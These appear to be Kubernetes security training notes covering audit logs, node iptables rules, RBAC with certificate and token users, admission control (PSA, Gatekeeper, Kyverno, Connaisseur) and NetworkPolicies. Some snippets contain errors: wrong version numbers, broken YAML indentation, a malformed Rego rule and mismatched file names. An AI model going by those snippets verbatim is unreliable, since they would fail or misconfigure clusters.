    path: /var/log/kubernetes/audit/
    type: DirectoryOrCreate

```

Step 4: 1st -> session

POD ID	CREATED	STATE	NAME	NAMESPACE	A
TTEMPT	RUNTIME				
27bfc9f8d1552	7 seconds ago (default)	Ready	kube-apiserver-controlplane	kube-system	0
43e9ba82707c0	2 hours ago	Ready	csi-node-driver-28l2j	calico-system	1

c

Step 5: 2nd -> session

```

## There should be enough noise already
cat /var/log/kubernetes/audit/audit.log

```

Reference

- <https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/>

Securing cluster with iptables

firewall Regeln festlegen für die Cluster Nodes

- kubeadm installation
 - Calico (BGP mode)
 - 1 control plane: 10.0.0.10
 - 3 workers: 10.0.0.11-13
 - All nodes in 10.0.0.0/24 subnet
-

Final Firewall Rule Summary

✓ Required Rules per Role

Node Role	Protocol	Port / Proto	From	Purpose
All nodes	TCP	179	other nodes	Calico BGP peering
Control plane	TCP	6443	workers + admin	Kubernetes API
Control plane	TCP	2379-2380	itself or HA members (control planes)	etcd
Control plane	TCP	10250	workers	Kubelet on CP
Control plane	TCP	10257	localhost	kube-controller-manager
Control plane	TCP	10259	localhost	kube-scheduler
Worker nodes	TCP	10250	control plane	Kubelet
Worker nodes	TCP	30000-32767	optional	NodePort services
All nodes	TCP	22	admin IP	SSH (optional)

✗ Final Minimal Firewall Rules (kubeadm + Calico BGP, no Typha)

All Nodes (Control Plane + Workers)

```
## Allow Calico BGP peering
iptables -A INPUT -p tcp --dport 179 -s 10.0.0.0/24 -j ACCEPT
```

Control Plane Node (10.0.0.10)

```
## API Server
iptables -A INPUT -p tcp --dport 6443 -s 10.0.0.0/24 -j ACCEPT
## and additionally from client - infrastructure where you run kubectl

## etcd (only if at least 3 control plane)
## NOT needed with 1 control plane
iptables -A INPUT -p tcp --dport 2379:2380 -s 10.0.0.0/24 -j ACCEPT

## Kubelet (on control plane) source from workers (NOT SURE)
iptables -A INPUT -p tcp --dport 10250 -s 10.0.0.0/24 -j ACCEPT

## Scheduler & Controller Manager (localhost only)
iptables -A INPUT -p tcp --dport 10257 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 10259 -s 127.0.0.1 -j ACCEPT

## Admin SSH (optional)
iptables -A INPUT -p tcp --dport 22 -s 10.0.0.100 -j ACCEPT

## Allow established traffic
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

## Default deny
iptables -A INPUT -j DROP
```

❖ Worker Nodes (10.0.0.11-13)

```
## Kubelet access from control plane
iptables -A INPUT -p tcp --dport 10250 -s 10.0.0.10 -j ACCEPT

## NodePort services
iptables -A INPUT -p tcp --dport 30000:32767 -j ACCEPT

## Admin SSH (optional)
iptables -A INPUT -p tcp --dport 22 -s 10.0.0.100 -j ACCEPT

## Allow established traffic
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
```

```
## Default deny
iptables -A INPUT -j DROP
```


Reference: Kubernetes Ports

- Achtung: Die Ports des CNI's (calico) kommen noch on-top
- <https://kubernetes.io/docs/reference/networking/ports-and-protocols/>

RBAC

How does RBAC work ?

- Let us see in a picture



Where does RBAC play a role ?

Users -> kube-api-server

- User how want to access the kube api server

Components -> kube-api-server

- e.g. kubelet -> kube-api-server

Pods / System Pods -> kube-api-server

- Pods and System Pods (e.g. kube-proxy a.k.a. CoreDNS) how want to access the kube-api-server

kubeconfig decode certificate

```
cd
cd .kube
cat config
## copy client-certificate-data

echo
LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURLVENDQWhHZ0F3SUJBZ01JVGpPWWowbXpWMF13RFFZSkvWklodmNOQVFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2Ez
base64 -d > out.crt
openssl x509 -in out.crt -text -noout
```

kubectl check your permission - can-i

A specific command

```
kubectl auth can-i get pods
```

List all

```
kubectl auth can-i --list
```

use kubectl in pod - default service account

Walkthrough

```
kubectl run -it --rm kubectltester --image=alpine -- sh
```

```
## in shell
apk add kubectl
## it uses in in-cluster configuration in folder
## /var/run/secrets/kubernetes.io/serviceaccount
kubectl auth can-i --list
```

create user for kubeconfig with using certificate

Step 0: create an new rolebinding for the group (we want to use)

```
kubectl create rolebinding developers --clusterrole=view --group=developers
```

Step 1: on your client: create private certificate

```
cd
mkdir -p certs
## create your private key
openssl genrsa -out ~/certs/jochen.key 4096
```

Step 2: on your client: create csr (certificate signing request)

```
nano ~/certs/jochen.csr.cnf

[ req ]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
[ dn ]
CN = jochen
O = developers
[ v3_ext ]
authorityKeyIdentifier=keyid,issuer:always
basicConstraints=CA:FALSE
keyUsage=keyEncipherment,dataEncipherment
extendedKeyUsage=serverAuth,clientAuth

## Create Certificate Signing Request
openssl req -config ~/certs/jochen.csr.cnf -new -key ~/certs/jochen.key -nodes -out ~/certs/jochen.csr
openssl req -in certs/jochen.csr --noout -text
```

Step 3: Send approval request to server

```
## get csr (base64 decoded)
cat ~/certs/jochen.csr | base64 | tr -d '\n'

cd certs
nano jochen-csr.yaml

apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
  name: jochen-authentication
spec:
  signerName: kubernetes.io/kube-apiserver-client
  groups:
    - system:authenticated
  request:
  usages:
    - client auth

kubectl apply -f jochen-csr.yaml
kubectl get -f jochen-csr.yaml
```

```
## show me the current state -> pending
kubectl describe -f jochen-csr.yaml
```

Step 4: approve signing request

```
kubectl certificate approve jochen-authentication
## or:
kubectl certificate approve -f jochen-csr.yaml

## see, that it is approved
kubectl describe -f jochen-csr.yaml
```

Step 5: get the approved certificate to be used

```
kubectl get csr jochen-authentication -o jsonpath='{.status.certificate}' | base64 --decode > ~/certs/jochen.crt
```

Step 6: construct kubeconfig for new user

```
cd
cd certs

## create new user
kubectl config set-credentials jochen --client-certificate=jochen.crt --client-key=jochen.key

## add a new context
kubectl config set-context jochen --user=jochen --cluster=kubernetes
```

Step 7: Use and test the new context

```
kubectl config use-context jochen
kubectl get pods
```

Ref:

- <https://kb.leaseweb.com/kb/users-roles-and-permissions-on-kubernetes-rbac/kubernetes-users-roles-and-permissions-on-kubernetes-rbac-create-a-certificate-based-kubeconfig/>

practical exercise rbac

Schritt 1: Create a service account and a secret

```
cd
mkdir -p manifests/rbac
cd manifests/rbac
```

Mini-Step 1: definition of the user

```
nano service-account.yml

## vi service-account.yml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: training
  namespace: default

kubectl apply -f service-account.yml
```

Mini-Step 1.5: create Secret

- From Kubernetes 1.25 tokens are not created automatically when creating a service account (sa)
- You have to create them manually with annotation attached
- <https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#create-token>

```
## vi secret.yml
apiVersion: v1
kind: Secret
type: kubernetes.io/service-account-token
metadata:
  namespace: default
  name: trainingtoken
  annotations:
    kubernetes.io/service-account.name: training

kubectl apply -f .
```

Mini-Schritt 2: ClusterRole creation - Valid for all namespaces but it has to get assigned to a clusterrolebinding or rolebinding

```
### Does not work, before there is no assignment
## vi pods-clusterrole.yml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: pods-clusterrole
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "watch", "list", "create"]

kubectl apply -f pods-clusterrole.yml
```

Mini-Schritt 3: Assigning the clusterrole to a specific service account

```
## vi rb-training-ns-default-pods.yml
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: rolebinding-ns-default-pods
  namespace: default
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: pods-clusterrole
subjects:
- kind: ServiceAccount
  name: training
  namespace: default

kubectl apply -f rb-training-ns-default-pods.yml
```

Mini-Step 4: Test it (does the access work)

```
kubectl auth can-i get pods -n default --as system:serviceaccount:default:training
kubectl auth can-i --list --as system:serviceaccount:default:training
```

Schritt 2: create Context / read Credentials and put them in kubeconfig (the Kubernetes-Version 1.25. way)**Mini-Step 1: kubeconfig setzen**

```
kubectl config set-context training-ctx --cluster kubernetes --user training

## extract name of the token from here

TOKEN=`kubectl get secret trainingtoken -o jsonpath='{.data.token}' | base64 --decode`
echo $TOKEN
kubectl config set-credentials training --token=$TOKEN
kubectl config use-context training-ctx

## Hier reichen die Rechte nicht aus
kubectl get pods
## Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:kube-system:training" cannot list # resource
"pods" in API group "" in the namespace "default"
```

Mini-Step 2:

```
kubectl config use-context training-ctx
kubectl get pods
```

Mini-Step 3: back to the old context

```
kubectl config get-contexts

kubectl config use-context cluster-admin@kubernetes
```

Refs:

- <https://docs.oracle.com/en-us/iaas/Content/ContEng/Tasks/contengaddingserviceaccctoken.htm>
- <https://microk8s.io/docs/multi-user>
- <https://faun.pub/kubernetes-rbac-use-one-role-in-multiple-namespaces-d1d08bb08286>


Ref: Create Service Account Token

- <https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#create-token>

Obey Security Policies (AdmissionControllers)

Admission Controller

What does it do ? (The picture)



How do the docs describe it ?

```
An admission controller is a piece of code that intercepts requests to the Kubernetes API server prior to persistence of the object, but after the request is authenticated and authorized.
```

- intercepts request = gets all the requests and validates or changes (=mutates them)
- Reference: <https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/>

What kind of admissionControllers do we have ?

- Mutating and Validating
- There are 2 phases of the AdmissionControlProcess: First mutating, then validating

The static admissionPlugins

- There are static admissionPlugins which are activated by config
- You can see the activated like so

```
## in our system like so.  
kubectl -n kube-system describe pods kube-apiserver-controlplane | grep enable-adm  
  
--enable-admission-plugins=NodeRestriction
```

- There are some that are activated by default:

```
## in Kubernetes 1.31  
CertificateApproval,  
CertificateSigning,  
CertificateSubjectRestriction,  
DefaultIngressClass,  
DefaultStorageClass,  
DefaultTolerationSeconds,  
LimitRanger,  
MutatingAdmissionWebhook,  
NamespaceLifecycle,  
PersistentVolumeClaimResize,  
PodSecurity,  
Priority,  
ResourceQuota,  
RuntimeClass,  
ServiceAccount,  
StorageObjectInUseProtection,  
TaintNodesByCondition,  
ValidatingAdmissionPolicy,  
ValidatingAdmissionWebhook
```

- Reference: What does which AdmissionController (= AdmissionPlugin) do ? <https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#what-does-each-admission-controller-do>

Exercise with PSA

Seit: 1.2.22 Pod Security Admission

- 1.2.22 - Alpha Feature, was not activated by default. need to activate it as feature gate (Kind)
- 1.2.23 - Beta -> probably

Predefined settings

- privileges - no restrictions
- baseline - some restriction
- restricted - really restrictive
- Reference: <https://kubernetes.io/docs/concepts/security/pod-security-standards/>

Practical Example starting from Kubernetes 1.23

```
mkdir -p manifests
cd manifests
mkdir psa
cd psa
nano 01-ns.yml
```

```
## Step 1: create namespace and activate pod-security
```

```
apiVersion: v1
kind: Namespace
metadata:
  name: test-ns1
  labels:
    # soft version - running but showing complaints
    # pod-security.kubernetes.io/enforce: baseline
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted
```

```
kubectl apply -f 01-ns.yml
```

```
## Schritt 2: Testen mit nginx - pod
## vi 02-nginx.yml
```

```
apiVersion: v1
kind: Pod
metadata:
  name: nginx
  namespace: test-ns1
spec:
  containers:
    - image: nginx
      name: nginx
      ports:
        - containerPort: 80
```

```
## a lot of warnings will come up
## because this image runs as root !! (by default)
kubectl apply -f 02-nginx.yml
```

```
## Schritt 3:
## Change SecurityContext in Container
```

```
## vi 02-nginx.yml

apiVersion: v1
kind: Pod
metadata:
  name: nginx
  namespace: test-ns1
spec:
  containers:
    - image: nginx
      name: nginx
      ports:
        - containerPort: 80
      securityContext:
        seccompProfile:
          type: RuntimeDefault
```

```
kubectl apply -f 02-nginx.yml
```

```
## Schritt 4:
## Weitere Anpassung runAsNotRoot
## vi 02-nginx.yml
```

```

apiVersion: v1
kind: Pod
metadata:
  name: nginx
  namespace: test-ns<tln>
spec:
  containers:
    - image: nginx
      name: nginx
      ports:
        - containerPort: 80
  securityContext:
    seccompProfile:
      type: RuntimeDefault
    runAsNonRoot: true

## pod kann erstellt werden, wird aber nicht gestartet
kubectl apply -f 02-nginx.yml

```

```

## Schritt 4:
## Anpassen der Sicherheitseinstellung (Phase1) im Container

```

```

apiVersion: v1
kind: Pod
metadata:
  name: nginx
  namespace: test-ns1
spec:
  containers:
    - image: nginx
      name: nginx
      ports:
        - containerPort: 80
  securityContext:
    seccompProfile:
      type: RuntimeDefault
    runAsNonRoot: true
    allowPrivilegeEscalation: false
    capabilities:
      drop: ["ALL"]

```

```

kubectl delete -f 02-nginx.yml
kubectl apply -f 02-nginx.yml
## von api-server angenommen, ausgerollt, aber kann nicht gestartet werden
kubectl -n test-ns1 get pods
kubectl -n test-ns1 describe pods

```

Warning Failed 9s (x8 over 92s) kubelet Error: container has runAsNonRoot and image will run as root (pod: "nginx_test-ns1(a98326da-c144-475b-8b0b-b74e3ae03e79)", container: nginx)
Normal Pulled 9s kubelet Successfully pulled image "nginx" in 814 s (814ms including waiting). Image size: 72223946 bytes.

Praktisches Beispiel für Version ab 1.2.23 -Lösung - Container als NICHT-Root laufen lassen

- Wir müssen ein image, dass auch als NICHT-Root laufen kann
- .. oder selbst eines bauen (:o)) o bei nginx ist das bitnami/nginx

```

## vi 03-nginx-bitnami.yml
apiVersion: v1
kind: Pod
metadata:
  name: bitnami-nginx
  namespace: test-ns1
spec:
  containers:
    - image: bitnami/nginx
      name: bitnami-nginx
      ports:
        - containerPort: 80
  securityContext:
    seccompProfile:
      type: RuntimeDefault
    runAsNonRoot: true
    allowPrivilegeEscalation: false

```

```

capabilities:
  drop: ["ALL"]

## und er läuft als nicht root
kubectl apply -f 03_pod-bitnami.yml
kubectl -n test-ns1 get pods

```

OPA Gatekeeper 01-Overview

How does it work ?

- It is called by the definition in mutationAdmissionWebhook and validatingAdmissionWebhook

What can the OPA Gatekeeper do ?

- It can validate
- It can mutate

How does it do this ?

- It uses a language which is called REGO
- It uses objects like

```

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate

apiVersion: templates.gatekeeper.sh/v1
kind: Constraint

```

- for the validation

OPA Gatekeeper 02-Install with Helm

Step 1: Installation (helm)

```

helm repo add gatekeeper https://open-policy-agent.github.io/gatekeeper/charts
helm upgrade gatekeeper gatekeeper/gatekeeper --install --namespace gatekeeper-system --create-namespace

```

Step 2: Webhooks (lookaround)

- This create a mutation and a validationWebhook

```

kubectl get validatingwebhookconfigurations gatekeeper-validating-webhook-configuration
kubectl get mutatingwebhookconfigurations gatekeeper-mutating-webhook-configuration

```

- Let's look in the mutation more deeply

```

kubectl get mutatingwebhookconfiguration gatekeeper-mutating-webhook-configuration -o yaml

```

Step 3: The components

```

## controllers are the endpoint for the webhooking
## audit is done every 60 seconds in the audit-pod
kubectl -n gatekeeper-system get all

```

OPA Gatekeeper 03-Simple Exercise

Step 1: Create constraintTemplate

- I took this from the library: <https://open-policy-agent.github.io/gatekeeper-library/website/>
- <https://open-policy-agent.github.io/gatekeeper-library/website/validation/block-nodeport-services/>

```

cd
mkdir -p manifests
cd manifests
mkdir restrict-node-port
cd restrict-node-port

```

```

nano 01-constraint-template.yaml

```

```

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: k8sblocknodeport
  annotations:
    metadata.gatekeeper.sh/title: "Block NodePort"
    metadata.gatekeeper.sh/version: 1.0.0
  description: >-

```

```

Disallow all Services with type NodePort.

https://kubernetes.io/docs/concepts/services-networking/service/#nodeport

spec:
  crd:
    spec:
      names:
        kind: K8sBlockNodePort
      targets:
        - target: admission.k8s.gatekeeper.sh
          rego: |
            package k8sblocknodeport

            violation[{"msg": msg}] {
              input.review.kind.kind == "Service"
              input.review.object.spec.type == "NodePort"
              msg := "User is not allowed to create service of type NodePort"
            }

```

```

kubectl apply -f .
kubectl get crd | grep -i block

```

Step 2: Create constraint

- it is like an instance (in code – usage of classes, can be created multiple times)
- the match defines, when it triggers -> when it calls the constraintTemplate for validation

```

nano 02-constraint.yaml

apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sBlockNodePort
metadata:
  name: block-node-port
spec:
  match:
    kinds:
      - apiGroups: [""]
        kinds: ["Service"]

```

```

kubectl apply -f .

```

Step 3: Test constraint with Service

```

nano 03-service.yaml

apiVersion: v1
kind: Service
metadata:
  name: my-service-disallowed
spec:
  type: NodePort
  ports:
    - port: 80

```

```

kubectl apply -f .

Error from server (Forbidden): error when creating "03-service.yaml":
admission webhook "validation.gatekeeper.sh" denied the request:
[block-node-port] User is not allowed to create service of type NodePort

```

```

## should no appear
kubectl get svc my-service-disallowed

```

OPA Gatekeeper 04-Example-Job-Debug

Step 1: Create constraintTemplate

```

cd
mkdir -p manifests
cd manifests
mkdir blockjob
cd blockjob

nano 01-constraint-template.yaml

```

```

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: k8sblockjob
  annotations:
    metadata.gatekeeper.sh/title: "Block Job"
    metadata.gatekeeper.sh/version: 1.0.0
    description: >-
      Blocks certain jobs
spec:
  crd:
    spec:
      names:
        kind: K8sBlockJob
  targets:
    - target: admission.k8s.gatekeeper.sh
      rego: |
        package k8sblockjob

        violation{"msg": msg} {
          # input.review.kind.kind == "Job"
          msg1:= sprintf("Data: %v", [input.review.userInfo])
          msg2:= sprintf("JOBS not allowed .. REVIEW OBJECT: %v", [input.review])

          msg:= concat("",[msg1,msg2])
        }

```

```

kubectl apply -f .
## Was it sucessfully parsed and compiled ?
kubectl describe -f 01-constraint-template.yaml

```

Step 2: Create constraint

```

nano 02-constraint.yaml

apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sBlockJob
metadata:
  name: block-job
spec:
  match:
    kinds:
      # Important batch not Batch, Batch will not work
      - apiGroups: ["batch"]
        kinds: ["Job"]

```

```

kubectl apply -f .

```

Step 3: Test with Job

```

nano 03-job.yaml

apiVersion: batch/v1
kind: Job
metadata:
  name: pi
spec:
  template:
    spec:
      containers:
        - name: pi
          image: perl:5.34.0
          command: ["perl", "-Mbignum=bpi", "-wle", "print bpi(2000)"]
          restartPolicy: Never
  backoffLimit: 4

```

```

Should not work:

```

```

kubectl apply -f .

```

Step 4: Let's try from a pod

- Prepare user

```

kubectl create sa podjob
kubectl create rolebinding podjob-binding --clusterrole=cluster-admin --serviceaccount=default:podjob
kubectl run -it --rm jobmaker --image=alpine --overrides='{"spec": {"serviceAccount": "podjob"}}' -- sh

## in pod install kubectl and nano
apk add nano kubectl
## create pod manifests
cd
nano job.yaml

apiVersion: batch/v1
kind: Job
metadata:
  name: pi
spec:
  template:
    spec:
      containers:
        - name: pi
          image: perl:5.34.0
          command: ["perl", "-Mbignum=bpi", "-wle", "print bpi(2000)"]
          restartPolicy: Never
      backoffLimit: 4

## should not work
kubectl apply -f pod.yaml

```

Connaisseur: Verifying images before Deployment

Prerequisites

- You must have create a private/public key pair
- You must have signed some images in your registry on docker Hub.
- This was done here: [Signing an image with cosign](#)

Step 1: Install Connaisseur with helm

```

cd
mkdir -p manifests
cd manifests
mkdir connaisseur
cd connaisseur

nano values.yaml

## 1. We will add the public key of ours in validators: cosign->type:cosign
## 2. We will add a policy for the system to know, when to use it:
- pattern: "docker.io/dockertrainereu/*:/*"
  validator: cosign
## Unfortunately we muss add everything from the defaults values file
## concerning -> validators, policy
## I have tested this ....

application:
  features:
    namespacedValidation:
      mode: validate

## validator options: https://sse-secure-systems.github.io/connaisseur/latest/validators/
validators:
  - name: allow
    type: static
    approve: true
  - name: deny
    type: static
    approve: false
  - name: cosign
    type: cosign
    trustRoots:
      - name: default
        key: |
          -----BEGIN PUBLIC KEY-----
          MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE2LmRkI8sNi6fSlugU5UEisptlwZl
          YaJBAJqTf96ccM4RMstLBPFr5fh877TG7bnpc4YnlfejT6F7XE71FWkA==
          -----END PUBLIC KEY-----
  - name: dockerhub

```

```

type: notaryv1
trustRoots:
  - name: default # root from dockerhub
    key: |
      -----BEGIN PUBLIC KEY-----
      MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEoxyta5TgdCwXTcnLU09W5T4M4r9f
      QQrqJuADP6U7g9ICgPSmzuRHP/1AYufOQW3baveKsT969EfELKj1lfCA==
      -----END PUBLIC KEY-----
  - name: sse # root from sse
    key: |
      -----BEGIN PUBLIC KEY-----
      MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAESx28WV7BsQfnHF1kZmpdCTTLJaWe
      d0CA+JOi8H4REuBaWSZ5zPDe468WuOJ6f71E7WFg3CVEVYHuoZt2UYbN/Q==
      -----END PUBLIC KEY-----
policy:
  - pattern: "*:*"
    validator: deny
  - pattern: "docker.io/dockertrainereu/*:/*"
    validator: cosign
  - pattern: "docker.io/library/*:/*"
    validator: dockerhub
  - pattern: "docker.io/securesystemsengineering/*:/*"
    validator: dockerhub
    with:
      trustRoot: sse
  - pattern: "registry.k8s.io/*:/*"
    validator: allow

## Add the repo
helm repo add connaisseur https://sse-secure-systems.github.io/connaisseur/charts
## Install the helm chart
helm upgrade connaisseur connaisseur --install --create-namespace --namespace connaisseur -f values.yaml

```

Step 2: Create a namespace and label it with connaisseur

- In our example we apply it only in a specific namespace
- But you can also use it for all namespaces
- According to: https://sse-secure-systems.github.io/connaisseur/latest/features/namespaced_validation/

```

## create namespace
kubectl create ns appi
kubectl label ns appi securesystemsengineering.connaisseur/webhook=validate

```

Step 3: Try to run image in namespace

```

## image from docker -> works
kubectl -n appi run nginxme --image=nginx:1.23

## signed image from dockertrainereu
kubectl -n appi run pod1 --image=dockertrainereu/alpine-rootless:1.20

## unsigned image from dockertrainereu
kubectl -n appi run pod1 --image=dockertrainereu/pinger

```

Obey Security Policy (AdmissionControllers - Part II)

Exercise Kyverno - non-root-pod

Prerequisites

- Kubernetes cluster with admission controller support
- kubectl configured with cluster admin privileges
- Helm 3 installed

Exercise Steps

Step 1: Create Project Directory Structure

```

cd
mkdir -p manifests/kyverno-non-root-pod
cd manifests/kyverno-non-root-pod

```

Step 2: Create Values File and Install Kyverno using Helm

Create a helm directory and values file for high availability configuration:

```

mkdir helm
nano helm/values.yaml

admissionController:
  replicas: 3
backgroundController:
  replicas: 3
cleanupController:
  replicas: 3
reportsController:
  replicas: 3

## Add Kyverno Helm repository
helm repo add kyverno https://kyverno.github.io/kyverno/
helm repo update

## Install Kyverno in kyverno namespace with custom values
helm upgrade --install kyverno kyverno/kyverno \
  --namespace kyverno \
  --create-namespace \
  --version 3.4.4 \
  --values helm/values.yaml \
  --wait

## Verify installation (should show 3 replicas for each controller)
## Wichtig: Das dauert einen Moment
kubectl get pods -n kyverno
kubectl get deployment -n kyverno

```

Step 3: Create Kyverno Policy for Non-Root Enforcement

Create the policy file:

```

nano non-root-policy.yaml

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-non-root-user
  annotations:
    policies.kyverno.io/title: Require Non-Root User
    policies.kyverno.io/category: Pod Security Standards (Restricted)
    policies.kyverno.io/severity: medium
    policies.kyverno.io/description: >-
      Containers must run as non-root users. This policy ensures that the securityContext.runAsNonRoot is set to true
spec:
  validationFailureAction: Enforce
  background: true
  rules:
  - name: check-non-root-user
    match:
      any:
        - resources:
            kinds:
              - Pod
    exclude:
      resources:
        namespaces:
          - kube-system
          - monitoring
          - metallb-system
          - calico-system
          - ingress-nginx
          - calico-apiserver
          - kyverno
          - tigera-operator
    validate:
      message: "Pod must run as non-root user (runAsNonRoot: true required)"
      pattern:
        spec:
          =(securityContext):
            runAsNonRoot: true
      containers:

```

```
- = (securityContext):
  runAsNonRoot: true
```

Erklärung der Policy-Validierung:

1. = (securityContext) - Das bedeutet "muss existieren"
2. runAsNonRoot: true - Muss auf true gesetzt sein

Step 4: Apply the Policy

```
kubectl apply -f non-root-policy.yaml

## Verify policy is created
kubectl get clusterpolicy
kubectl describe clusterpolicy require-non-root-user
```

Achtung: Es funktioniert nur, wenn die Policy wirklich Ready ist !!

```
tln1@k8s-client:~/manifests/kyverno-non-root-pod$ kubectl get clusterpolicy
NAME          ADMISSION  BACKGROUND  READY  AGE   MESSAGE
require-non-root-user  true        true       True   32s  Ready
```

Step 5: Test with Root User Pod (Should Fail)

Create a test pod that should be rejected:

```
nano test-root-pod.yaml

## Variante: nichts ist gesetzt
apiVersion: v1
kind: Pod
metadata:
spec:
  containers:
    - name: nginx
      image: nginx:1.27.0
```

Try to apply it (should fail):

```
kubectl apply -f .
```

```
nano test-root-pod-v2.yaml
```

```
## Variante 2: Feld ist gesetzt aber falsch
apiVersion: v1
kind: Pod
metadata:
spec:
  securityContext:
    runAsUser: 0
    runAsNonRoot: false
  containers:
    - name: nginx
      image: nginx:1.27.0
    securityContext:
      runAsUser: 0
      runAsNonRoot: false
```

```
kubectl apply -f .
```

Step 6: Test with Non-Root Pod (Should Succeed)

Create a pod that complies with the policy:

```
nano test-non-root-pod.yaml
```

```
apiVersion: v1
```

```

kind: Pod
metadata:
  name: test-non-root-pod
  namespace: default
spec:
  securityContext:
    runAsNonRoot: true
  containers:
  - name: nginx
    image: bitnami/nginx:1.27.0
    securityContext:
      runAsNonRoot: true
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: false

```

```
kubectl apply -f test-non-root-pod.yaml
```

```
## Verify the pod is running
kubectl get pod test-non-root-pod
kubectl exec test-non-root-pod -- id
```

Step 6.1 Test with SecurityContext:runAsNonRoot not set in container

```
nano test-non-root-pod-v2.yaml
```

```

apiVersion: v1
kind: Pod
metadata:
  name: test-non-root-pod
  namespace: default
spec:
  securityContext:
    runAsNonRoot: true
  containers:
  - name: nginx
    image: bitnami/nginx:1.27.0
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: false

```

```
kubectl apply -f test-non-root-pod-v2.yaml
```

Verification and Cleanup

```
## Check policy violations
kubectl get events --field-selector reason=PolicyViolation

## View Kyverno admission controller logs if needed
kubectl logs -n kyverno -l app.kubernetes.io/name=kyverno

## Cleanup test pods
kubectl delete -f .
```

Expected Results

1. **Root Pod Test:** Should fail with policy violation message about requiring non-root user
2. **Non-Root Pod Test:** Should succeed
3. **Policy Verification:** Kyverno should log admission decisions

Notes

- Kyverno provides more flexible policy management than Pod Security Standards
- The `bitnami/nginx` image is designed to run as non-root user by default
- Regular `nginx` image runs as root by default, hence the failure
- Policies can be tested in `Audit` mode before enforcing them

Pod Security

Automount ServiceAccounts or not ?

Why ?

- Every attacker tries to get as much information as possible
- Although there are not severe permissions in here, show as little information as possible
- For example, use `will see`, which namespace he is in ;o)

Disable ?

```
## enabled by default
kubectl explain pod.spec.automountServiceAccountToken
```

Unprivilegierte Pods/Container

Which images to use ?

docker hub

- bitnami images
- Also search for unprivileged -> e.g. <https://hub.docker.com/search?q=unprivileged>
 - BUT: be careful whom you trust

The SecurityContext

appArmor example

- <https://kubernetes.io/docs/tutorials/security/apparmor/>

Network Policies

Exercise NetworkPolicies

Step 1: Create Deployment and Service

```
SHORT=jm
kubectl create ns policy-demo-$SHORT
```

```
cd
mkdir -p manifests
cd manifests
mkdir -p np
cd np
```

```
nano 01-deployment.yml
```

```
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
spec:
  selector:
    matchLabels:
      app: nginx
  replicas: 1
  template:
    metadata:
      labels:
        app: nginx
  spec:
    containers:
      - name: nginx
        image: nginx:1.23
      ports:
        - containerPort: 80
```

```
kubectl -n policy-demo-$SHORT apply -f .
```

```
nano 02-service.yml
```

```
apiVersion: v1
kind: Service
metadata:
  name: nginx
spec:
  type: ClusterIP # Default Wert
  ports:
    - port: 80
      protocol: TCP
  selector:
    app: nginx
```

```
kubectl -n policy-demo-$SHORT apply -f .
```

Step 2: Testing access without any rules

```

## Run a 2nd pod to access nginx
kubectl run --namespace=policy-demo-$SHORT access --rm -ti --image busybox

## Within the shell/after prompt
wget -q nginx -O -
exit

## Optional: Show pod in second 2. ssh-session on jump-host
kubectl -n policy-demo-$SHORT get pods --show-labels

```

Step 3: Define policy: no access is allowed by default (in this namespace)

```

nano 03-default-deny.yaml

kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
  name: default-deny
spec:
  podSelector:
    matchLabels: {}

kubectl -n policy-demo-$SHORT apply -f .

```

Step 4: Test connection with deny all rules

```

kubectl run --namespace=policy-demo-$SHORT access --rm -ti --image busybox

## Within the shell
wget -q nginx -O -

```

Step 5: Allow access from pods with the Label run=access (all pods startet with run with the name access do have this label by default)

```

nano 04-access-nginx.yaml

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: access-nginx
spec:
  podSelector:
    matchLabels:
      app: nginx
  ingress:
    - from:
        - podSelector:
            matchLabels:
              run: access

kubectl -n policy-demo-$SHORT apply -f .

```

Schritt 5: Test it (access should work)

```

## Start a 2nd pod to access nginx
## because of run->access pod automatically has the label run:access
kubectl run --namespace=policy-demo-$SHORT access --rm -ti --image busybox

## innerhalb der shell
wget -q nginx -O -

```

Step 6: start Pod with label run=no-access - this should not work

```

kubectl run --namespace=policy-demo-$SHORT no-access --rm -ti --image busybox

## in der shell
wget -q nginx -O -

```

Step 7: Cleanup

```

kubectl delete ns policy-demo-$SHORT

```

Ref:

- <https://projectcalico.docs.tigera.io/security/tutorials/kubernetes-policy-basic>

CNI Benchmarks

- <https://itnext.io/benchmark-results-of-kubernetes-network-plugins-cni-over-40gbit-s-network-2024-156f085a5e4e>

ServiceMesh

Why a ServiceMesh ?

What is a service mesh ?

A service mesh is an infrastructure layer that gives applications capabilities like zero-trust security, observability, and advanced traffic management, without code changes.

Advantages / Features

1. Observability & monitoring
